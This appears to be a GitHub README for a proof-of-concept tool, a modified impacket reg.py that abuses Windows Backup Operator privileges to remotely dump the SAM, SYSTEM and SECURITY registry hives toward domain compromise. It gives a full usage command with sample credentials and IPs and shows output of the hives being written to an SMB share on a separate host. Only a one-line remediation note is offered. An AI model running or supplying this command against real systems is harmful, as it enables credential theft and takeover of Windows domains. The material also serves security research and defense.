Backup Operator Registry Backup to Domain Compromise

A simple POC that abuses Backup Operator privileges to remote dump SAM, SYSTEM, and SECURITY hives.

Research credit to:

Usage

This proof of concept is a modified version of impacket/examples/reg.py and will work with the most recent impacket release installed. All supported impacket authentication mechanisms will work.

[email protected]:~# python3 reg.py jsmith:'Spring2021'@10.0.229.1 backup -p '\\10.0.220.51\share'
Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Dumping SAM hive to \\10.0.220.51\share\SAM
Dumping SYSTEM hive to \\10.0.220.51\share\SYSTEM
Dumping SECURITY hive to \\10.0.220.51\share\SECURITY

Proof

Remediation:

Treat Backup Operators domain group as Domain Adminstrators and other Tier 0 resources

GitHub

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